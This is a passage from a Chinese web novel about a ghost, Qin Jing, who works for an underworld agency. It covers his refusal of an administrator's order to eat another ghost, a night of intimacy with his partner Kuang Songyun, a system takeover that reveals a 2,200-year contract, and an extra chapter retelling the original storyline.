王真笑了,手被绑着还是拍了几下手背当作是鼓掌,“了不得了不得,这么大义凛然,那怎么不让他俩吃你啊,你应该比我更补吧,吃一点应该也不碍事吧?” 管理者依旧微笑着站起来走到他面前,毫无征兆的甩了王真一巴掌,并不重,更多的是轻视的意思,“闭嘴,我乐意这么干。” 王真也轻蔑的呸了一声。 管理者不再与王真多话反倒扭头来看秦靖和杨正明,用眼神无声的催促。 两鬼:“……” …… 杨正明一出办公室就克制不住干呕了一声,用特别复杂的眼神看了眼秦靖,他好像想说点什么又实在说不出来,再次扶着墙干呕好几声摆摆手一声不吭走了。 秦靖脸色也不太好看,“我干不了。” 【刚才不是给你使障眼法了,咱们忍一忍,照着剧情走你离开以后闹的天翻地覆这个管理员马上就被撸下去了。】 “你能给我使障眼法还能给所有鬼都用么,办公室的事传出去别的鬼知道的是我吃鬼,开了这个先河后面出什么乱子还用我说?”秦靖憋着气,“我来的时候剧情里怎么不说要吃鬼,他是个反社会吧!” 但眼看着马上要到邝松云那里还是忍了下调整了下表情,直接把脑子里还在劝他的449屏蔽掉,“下班了么?” “我收拾一下桌子。”邝松云动作很快的整理完桌子就抓着秦靖的胳膊跟着他往外走,他现在没心思说什么话,稀奇的是邝松云居然也不说话。 直到快到住的地方邝松云总算是憋不住了,“你脸色怎么这么难看?” 办公室里的事没必要瞒他,就算瞒了他这消息早晚会传出去,不从他这里知道也会从别的鬼那里知道。 “刚才管理者让我吃鬼。” 邝松云居然没什么意外的神情,“他之前就跟我们这么说过,我就知道他不是个好玩意儿——整天神经兮兮。” 秦靖安静着,犹豫了下把449放了出来,449依旧苦口婆心,【做吧,这个故事发展就是这样的,你不做也是这样啊。】 “让局里来道雷把他劈死吧。” 秦靖打开门换鞋开灯,“洗个澡带你出去吃。” “别吃了吧今天。”邝松云说,“我今天没胃口了。” 秦靖定定看他几秒,“我没吃鬼,吃你的饭,没事。” …… “真的没有?”邝松云坐在餐桌上咬着筷子,“就算吃了你跟我说也没什么,我又不会觉得你怎么样。” “真的没有。”秦靖有点无奈,“王真还在,只是用了一点点障眼法迷惑了一下——不过估计再过几天别人都以为我把王真给吃了。” “他就在这里这么干下去吗?”邝松云问,“真乱了对他也没有什么好处。” “可能他乐意。” 秦靖又想起了管理者对王真说的那句他乐意。 可怜的一次性筷子被邝松云在嘴里咬来咬去直接咬劈叉,毛刺扎了几根进他嘴巴里的嫩肉,邝松云抽出筷子轻微的嘶了声,“扎到刺了。” “我看看。”秦靖上手掰他的嘴唇看里面,把沾到的刺拔出来擦到卫生纸上,邝松云就这么微微张着嘴让他弄,还时不时吸溜几口口水,就在秦靖即将放开他的时候邝松云语出惊鬼,“咱们要不不回去了吧?” “不回去去哪,这个时候出去大概率就是下一个王真。” 邝松云也沉默了,“我也不知道去哪,就是觉得在哪都比被逼着吃鬼好,这跟逼着人吃人肉有什么差别。” 秦靖不吭声了,顿时有点明白原剧情里秦靖为什么最后还是选择叛逃,管理者就是地府最高一把手,地府在某种程度上较为闭塞,管理者鼓动鬼去吃其他鬼的行径也是在叛逃后才被其余人所知道。 只是哪怕最后管理者被打掉再次换了新的,秦靖的叛逃罪名依旧难以洗脱回不到地府,更何况邝松云也死了,他也没必要回地府。 难不成他还真要按着原剧情走来个叛逃不成? 从某种程度上来说没法直接改变而选择干脆捅破天的办法是最好的选择,假如他也按照原剧情走,那直接把邝松云也带走行不行。 他才不会像原剧情的那个秦靖把邝松云一个鬼留在那里等死。 …… 没屏蔽449都安静了很久,久到秦靖自己都不自信的查看了几次屏蔽键怀疑自己是不是误触了,449见他这个样子才幽幽开口,【没误触,就是我不想说话而已。】 “你反馈下说我不走剧情回去是什么惩罚制度,还有能不能像之前的宿主一样把任务对象直接带走。” 【你不走也得走啊。】449幽幽开口,【你不走剧情谁来走。】 “又不是只有我一个,难不成这个世界还离了我不转了?” 449却依旧幽怨的像个怨灵,【你得做,真的,好歹同事一场我没必要诓你。】 “那你倒是说出来我为什么非得做。” 【我能说早说了。】449开口,【总之你得做,做完你就知道了。】 秦靖:“?” 他甚至开始怀疑是不是在自己不知道的时候局里又改了什么规则,“给我透露一点,到底怎么回事?” 449却很为难,安静了好一会儿,【你不觉得你第一次见邝松云就很亲近他么。】 宴山亭 “没觉得。” 秦靖一句话把449所有的话全给堵回去了,449瞠目结舌看了他好一会儿立马闭嘴不说了,秦靖连忙开口,“觉得觉得,你说我对他很亲近,那照你的意思是——我对他一见钟情了?” 449一脑门黑线,实在不明白秦靖到底从哪得来的这种理论,【你是不是脑子有坑?上次打架把你脑子打没了??】 秦靖:“……那你倒是说啊,跟我在这儿打哑谜呢?” 449再次含糊起来,【总之你俩就是有缘分。】 这说了跟没说没什么差别,秦靖不由得弥漫起一股无语,再次伸手把449给屏蔽掉了,“走你。” 不过449嘴里的有缘分倒是说对了,他确实跟邝松云有缘分,起码比邝松云跟原剧情那个秦靖有缘分,他跟邝松云多长时间就亲嘴,那个跟邝松云多长时间就亲嘴?他跟邝松云多长时间住一起,那那个呢? 那个秦靖根本没法跟他比。 第103章 第一百零三章 契约 再安慰自己秦靖还是有点酸, 毕竟在总局打过那么多年工清清楚楚知道每个世界都在循环往复,除非改写不会有任何变动,在自己没来之前确实有那么个‘秦靖’存在着。 邝松云刚从浴室出来, 穿着个拖鞋啪唧啪唧的走来走去像在有□□叫,拿了手机边看边叫,秦靖也就靠在床头默默看他。 视线存在感过于强烈邝松云很不确定站在原地看了看自己还湿着的拖鞋的脚, 试探着轻轻走了几步就发出巨大一声,他赶紧三步并作两步跑起来蹬掉拖鞋蹦在床上跟秦靖笑, “不响了。” “没有嫌你响。” 邝松云嘿嘿笑了两声,“我觉得那拖鞋叫的还挺好听。” 躺在床上的邝松云就开始蠕动, 一凹一凹的把脑袋挪到秦靖腿上, 在他腿上滚了会儿张嘴去咬。 秦靖刻意把腿上的肉绷紧让他没咬到, 邝松云却不信邪张嘴继续去啃, 姿势不方便还专门翻了个身抱着腿咬。 他没有多么用劲, 就是轻轻的虚虚的刮过, 被啃了一会儿的秦靖毫无征兆拽着邝松云一条胳膊往上扯了扯,撑着自己的邝松云没办法维持平衡扑了下, 正好撞在了某个地方。 秦靖:“?” 邝松云:“?” 邝松云的脸以极快的速度涨红,手脚并用爬起来捂住嘴巴往后靠, 瞪圆了眼睛看他,语调听起来很凶但仔细听又底气不足, “你干嘛!” 秦靖喉结滚了滚,“不干嘛。” 听到回答的邝松云依旧没有降低警惕, 紧紧盯着他的动作。 “过来。”秦靖朝他伸出了手。 那双眼睛依旧那样盯着,看了一会儿才试探着伸出手拉住秦靖膝行着跪坐在他腿上,稍微调整了几下姿势才坐稳。 秦靖掐着他的腰跟他对视了一会儿,然后才伸手拽住他的双手让他抱住自己的脖子, 按住邝松云的后背将他圈进怀里抱着,两颗在某一瞬间停止过跳动的心脏隔着身体贴着,缓慢又有力的跳动,秦靖感受着心跳莫名觉得跳的他有些热,怀里的身体也热起来,又慢慢的软下来,但依旧紧紧的抱着。 搭在肩膀上的脑袋发出一点很像小动物的声音,柔软的嘴唇又落在脖子上贴了贴,然后就用眼皮依恋的靠上去。 “喜欢抱着。” 于是秦靖就把他抱的更紧了一点,房间里很安静,只有存在感不太强的呼吸声不断在耳边响起,秦靖正抱的上瘾,邝松云就推了推他,他不太情愿的放松双臂让邝松云起来,他没有离开,只是直起身体捧住了秦靖的下半张脸。 邝松云稍微偏头错过他的鼻尖,然后啄吻了两下秦靖的嘴唇。 秦靖睁着眼睛看他,现在邝松云神情很柔软,像是被长久的拥抱和肌肤相贴把整个鬼给融化掉了,露出了不会在任何人和鬼面前露出的样子,打开了外壳露出柔软的蚌肉。 秦靖现在觉得自己酸的挺没有道理了,捏着他的下巴也啄吻了几下鼻尖嘴唇和唇角。 邝松云再次发出一点很可爱的声音整个鬼往秦靖身上一摊,一副任其索求的样子,秦靖现在很口渴,伸手从宽松的短袖下面探进去摸了摸他很光滑的皮肤和腰,他能感受到手掌下的皮肤每摸一下都在颤,然后又慢慢放松身体让他摸。 他很想亲,但邝松云趴在他的肩膀上不抬头,于是他只好伸手把他肩膀上的短袖往下拉露出一点点肩膀和锁骨,灼热滚烫的吻一下下印在上面,邝松云又发出那种让他心很烫的、可爱的声音了。 秦靖撑住邝松云的身体把他往起一托让他靠的近了点,凑上去一下下用嘴唇贴他的侧脸他的下巴,感受着邝松云的温度和毫无保留的坦诚。 …… 邝松云一只手死死抓着枕头把半张脸埋进去,流下的生理性泪水也全部被枕头吸掉,浑身皮肉都绷的紧紧的。 秦靖现在掌控着他的所有反应,怜爱的吻不断落在耳朵上安抚着他。 邝松云埋在枕头里哆嗦的喘,于是秦靖就伸手把他的脸挖出来,“别埋着。” 湿热的半张脸紧紧贴着手掌,邝松云的手掰住他的手腕重新将脸埋入掌心平复呼吸,侧脸耳朵和脖子又落上了无数个吻,他眼里含着泪有点哆嗦的回过头。 脸颊埋着红红的,含着泪的眼睛稍微眯着,视线并不清晰的看他,这就是一副索吻的姿态,得到了自己想要的邝松云再次柔软下来,发出含糊的鼻音追上去回吻。 他对秦靖的每一个动作反应都很大,初次尝试每一个体验都新奇惹他继续探讨,时不时落下的吻更是把沉浸在情爱中被泡酥的一颗心泡的更软了一点。 对上的视线更是一点都不加掩饰的诉说着喜欢和爱意。 邝松云指尖都发麻,胳膊也软绵绵的使不上力气,侧着脑袋用指尖点了点汗湿的额头,爽完缓了会儿稍微一动就开始觉得疼,尤其是膝盖。 秦靖捞起他的腿看了下膝盖,硬床跪了一会儿膝盖就红红的甚至有点破皮,这个不算显眼的地方在不久前一直被两个鬼给下意识忽略掉,他碰了碰又轻轻摸了下,“破了。” “怪你。”邝松云很放松的让他捏着腿,“我都说不那样了。” “怪我。”秦靖闷笑一声抱住他,邝松云现在对秦靖任何的亲密接触都万分警惕,上来抱住的一瞬间立马推他,“我不要了,我好痛。” “不弄你了。”秦靖只是稍微抱了下就把邝松云抱起来放在卧室里摆着的那张藤条椅上,然后拿了自己一件外套从外面给他裹严实,把邝松云安抚好后才去换床单。 打开衣柜里他随意翻找了一下就看见一条黄色的床单,一瞬间觉得有些眼熟,但又似乎只是错觉,他思考了几秒去拿了另外一条褐色的,在那里铺床的时候突然想起来自己在哪见过这条床单了。 ——那天的梦里。 …… 邝松云累狠了,但又特别要求秦靖抱着他睡,秦靖思索着那条床单却没什么睡意,怀里的身体依旧暖烘烘的,秦靖伸手把他往怀里按了按更加严密贴合才继续思考。 越想衣柜里那条床单似乎就是梦里那条,花纹、颜色几乎一摸一样。 “449。” 没有回应。 “449?” 依旧没有任何声音。 秦靖以为是刚才的事情触发保护机制自动屏蔽了449,又耐心的等了段时间再次叫它,“449?” 【我在。】 秦靖把自己刚才发现的说了一遍。 449打了个哈气开口,【很正常啊,你又没买过床单那衣柜里的当然是‘秦靖’买的,跟梦里当然是一条了。】 秦靖沉默了好一会儿,449等来等去没等到下文,【没事我就走了?我也好困。】 “你不是说是我想多了么?” 没头没尾的话说的449一懵,【什么?】 “那天我做那个梦然后跟你说,你说我想多了,话里模棱两可,但听你刚才说的,你好像一直都知道我做的梦就是预知梦吧?” 【这、这、你……?】449的声音听起来立马就清醒了,对着秦靖的目光一点话都说不出来,它支吾了半天声音突然被沙沙的机械音代替。 【滋滋滋——001号系统已接管,449号系统已召回总局。】 秦靖听说过001号,但从没打过交道,001号系统是总局初代系统,已经不外出完成任务而在总局内参与管理事务,那么现在,为什么449系统被遣返而派出了001系统? 【秦靖,男,种族——鬼,BUJGG889Y99世界,星历YYH34278年签约合同,合同到期时间为YYG00334年,距离解约时间还剩十三天,特批提前解约,请秦靖再次阅读合同签署名字。】 冰冷又不带任何感情的机械音在秦靖耳边响起,除了时间和世界编码剩下的他一个都听不懂,但001也没有任何要解释的意思,反倒是再次在光屏上拉出一纸合同。 【9757996,本名秦靖,来自BUJGG889Y99世界,签署该合同代表签署人已知晓并同意已下条款。 1.合同履约期为YYH34278年到YYG00334年,共计两千两百年(任务期间按小世界时间流逝速率计算) 2.乙方在职期间需为局内完成任务,合约期间原世界BUJGG889Y99世界将封锁,在合约解除后甲方将根据上一款(详见总局第774号条约)中给予福利待遇。 3.任务期间甲方有权保存乙方记忆,合约结束后甲方将所有归还乙方。 4.甲方有义务保证乙方福利待遇做到切实落实,在不违反第774号条约基础上可适当提供帮助。 5.最终解释权归甲方所有。 甲方:人渣扮演部门 乙方:秦靖 YYH34278年签署于BUJGG889Y99世界,签署即刻生效】 有力的字体落在最下面,秦靖两个字像是要划破纸张,甚至上面还有经过长时间后已经泛黄的血液残留,那张纸在光屏中显示着,秦靖伸手触碰了下,碰到光屏的地方就猛地一疼,一滴血被吸收进去,纸张顿时被火舌舔舐着燃为灰烬。 强加在身上的东西消失,失去了两千两百年的东西再次回到身上。 一切的一切回归最初的开始。 第104章 番外:可惜他们都没有上帝视角^^…… “哇啊啊啊啊——!”一个壮汉哭出狗嚎, “我好不容易挤上来啊!挤死我了当鬼怎么这么难!” 他正嚎着,一阵风带过,壮汉稀奇的咦了声, 连哭都忘了哭,他抽了抽鼻子,那股香味已经散掉了。 周围鬼不约而同的怔愣却找不到刚才的香味来源, 毕竟身为鬼,他们已经许久没有闻到过味道了。 那香味似乎是……荼蘼花。 秦靖快速的穿过一截又一截车厢, 所过之处鬼魂不约而同的静下来,他并不抬头看这些或老或少、或寿终正寝或死于非命的鬼魂。 在所有鬼魂安静下来以后, 一个嘤嘤嘤哭的声音格外明显。 他身上的香有帮助凝实魂体, 安抚鬼魂的能力, 很少有闻过还能闹腾起来的。 而且能哭成嘤嘤嘤的, 真有意思。 秦靖略微停了一两秒看那嘤嘤嘤声音来源处。 很苍白, 但不难看出眉眼清秀, 很有书卷气。 但这个很有书卷气的鬼一屁股坐在地上,抱着腿嘤嘤呜呜的哭。 一边一只鬼看不下去了, 略安抚了几句。 那鬼愣了几秒,嚎声惊天动地, “哇啊啊啊——!我刚考上的大学啊!我在XX考上的双一流啊!哇啊啊啊,我要死了!” 秦靖见过的鬼海了去了, 承受天大委屈冤屈的也不在少数,他并不关系也不在意, 只是看了一圈周围。 其中有一鬼魂神情懵懵,本来就没有凝实的魂体几息之间几乎要散掉。 秦靖飞速拎起那鬼的衣领,轻而易举且富有‘技巧’甩,把这鬼脑子里即将和成面的水和面粉分开, 这鬼的身体也凝实不少。 他立在原地的这几秒,整节车厢的鬼都在看他。 身上干净整洁,魂体清晰且游刃有余的模样与一车厢死时样貌相比的鬼实在整洁了不知多少倍,况且还很香。 有鬼戏称他们这些鬼身上的香像是鬼界鬼薄荷似的,太上头。 “好香……” “真挺香……” “这是谁,鬼差?” “黑无常吧……?” “……黑无常都穿这么潮?” 秦靖诡异的沉默了几秒,低头看了眼自己身上的黑色冲锋衣。 耳边又是一堆兴奋的声音。 “他能听懂人话啊?” “……” 总归见了这次都不一定能打第二次照面,秦靖并不搭理他们,转身欲走。 刚转身,那考上大学还没上的倒霉鬼又嘤嘤嘤开始哭,秦靖一点都不关心无关的鬼,头都没回继续走。 …… 休息室里的喇叭跟车厢内喇叭同步开始播报,“旅客们,下一站是本站的终点站,月半站,请拿到月半镇居住卡的居民下车录入身份有序听从安排,请仔细看您的居住卡,如果有非月半镇没有及时下车的旅客,请在原位等待,会有工作人员安排明日返程路线。” “在月半镇下车的旅客请在十分钟内下车,听到提示音时请勿穿过车门。” 秦靖坐在休息室里等了会儿,外面杨正明就敲了敲门,“我先去溜一遍,你就在一车厢等着吧。” 秦靖含糊的应了声又等了十分钟才走出休息室往一车厢走,里面零零散散待着差不多十几个鬼,等一会儿所有工作人员把所有车厢都检查了一遍又带来几个,坐过站的差不多得有二十五六个。 秦靖并不抬头看他们,“返程的车在明天上午,火车会一路返回到昨天接你们的地方再去接别人,今天大家都是统一居住,明天一定要看好自己是哪个站下车,因为返程的火车上很乱也没有空余座位。” 说完他就站在门口看他们一个个下车,一个年轻的男鬼却站在那里不动只是抬头看他。 秦靖稍微皱了下眉,但也没当回事,用眼神催促了下男鬼却依旧不走。 “我居住证丢了。”男鬼慢慢开口。 这事秦靖几乎不管,他张嘴就去喊杨正明。 本来已经闲下来的杨正明听见喊声就走了过来,“怎么了?” “居住证丢了,带他补办。” 秦靖说完就松了下系在外面的腰带径直下车。 …… 秦靖不喜欢那个叫邝松云的男鬼,很烦人,似乎也没有情商,看不懂眼色,总是无时无刻的凑上来。 双向的喜欢是一件幸福的事情,但单方面的喜欢和追求让他苦恼。 他不是能喜欢其他鬼的性子,从小的时候母亲去世的那一刻起仇恨的种子就埋在心里,在二十多年的生命中仇恨占据了十几年,在这十几年中生长为参天大树,几乎遮住了所有的光亮。 他不跟其他鬼交心,只是面子上的一起玩,一个心里阴暗的鬼居然成了他们嘴里风趣的不行的角色。 他不喜欢邝松云,但其他鬼都喜欢,秦靖觉得只是因为邝松云蠢,没有情商,其他鬼跟这种鬼相处起来总会轻松自在很多,他心里冷笑又不屑一顾,甚至有点不明白这种天天到处跑为地府做出一堆贡献然后在这个位置上等死到底是为了什么。 他想离开,王真的逃离给他带来一点希望——他不知道去哪,人间对他来说并没有好上多少,但至少可以暂时的不受制于鬼,能回到自己熟悉的地方不待在满是腐朽和死亡气息的地府。 …… 地府换了新的管理者,是个疯子,干什么都图自己高兴,秦靖觉得地府早晚有一天会乱在他手上。 还有两件事——就是他跟邝松云住在了一套房子里,他当了追捕局一把手。 没有什么别的原因,他依旧不太喜欢邝松云,单纯就是把他树在这里当一个活靶子。 邝松云总是说饿,他被缠的没办法只好跑去人间找了个天师去帮他重新做了个身体。 结果这男鬼居然扑上来亲他。 ……恩将仇报。 他擦了好几下脸,几乎是在瞪邝松云,男鬼却笑的一脸高兴,秦靖实在不明白为什么有鬼愿意一直受冷脸,他确实帮了邝松云一点事情,但那并非出自他的本意而是各种机缘巧合,总之他不明白,也不理解邝松云。 …… ……他跟邝松云睡了。 说实话这也并非出于他的本意,只是事情已经发生了再狡辩别的也没用。 …… 又睡了。 …… 嘴挺好亲。 …… 有点爽 …… 他要走了。 是邝松云最先提出的。 “你离开吧。”邝松云扯着被子用背对着他,秦靖坐在床边看了他肩膀上深深浅浅的痕迹一会儿,有些冲动的开口,“那你怎么办?” 他知道自己不该开口问的,最开始把邝松云放在这儿不就是为了转移视线么,现在问这种问题难道不是明知故问。 邝松云扯着被子转过来了,他好像又哭了,眼睛红红的,眼白亮亮的,带着点哭腔闷闷开口,“你太心软了。” 这种跟他很不搭配的词语被邝松云按在自己身上秦靖顿时觉得有点荒谬,也笑出了声,然后指了指自己,“我?” “对呀。”邝松云慢慢扯起被子盖住自己的整张脸,“嘴巴硬,心软。” 秦靖还是觉得荒谬,但并不跟他争论这个,谁料邝松云再次很笃定的开口。 “你喜欢我。” 秦靖立马反驳,“我不喜欢你。” “你就是喜欢我。” 秦靖被他说的又笑出了声,不跟他掰扯喜欢不喜欢的,“你知不知道你留下就是一死。” “那你知不知道你就算出去大概率枪打出头鸟也是死。” 秦靖:“我知道。” 邝松云抿了下嘴巴,“那我也知道。” 秦靖觉得自己没法跟邝松云交流,他居然用自己百分之百的概率来跟秦靖这个百分之六十的概率比。 他被邝松云气够呛,又不知道自己为什么气成这样,“你听好了,那天你不要去上班,我现在的能力没法带你出去,你跟着杨正明,他让你去哪你去哪,地府这么大管理者不可能因为你一个搅的天翻地覆,你自己躲好了。” “等我回来找你。” …… 秦靖不知道自己到底喜不喜欢邝松云,临死前也不知道,他只知道自己不能让邝松云就这么死了,为什么这么容易就死了呢,他想不明白。 两千两百年听起来实在是太遥远了,他活了二十多年,死了八十多年,仅仅一百年就感觉已经耗费掉了绝大部分精力。 是二十二个一百年。 他不知道怎么过,把命运托付给从没听说过的东西,把一切托付给不知底细的东西,舍弃一切,舍弃记忆,成为一个机械化的、没有人的温度的系统。 这里面没有谁有错,可惜的是他们都没有上帝视角,也没有能循环多次再来的外挂,更没有能帮助他们的东西。 死亡从来不是因为某件事,而是在那个时间、那个节点、抉择一切的是没有上帝视角对未来一切都是未知的秦靖。 一切的一切一环扣一环造成了这个局面,谁都怨不得。 他在宇宙中穿梭一个又一个世界,终于积攒了渊博的见识、总局的外挂和重来一次手里拿着的剧本。 不是谁都能重来一次,他何其幸运。 他们何其幸运。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m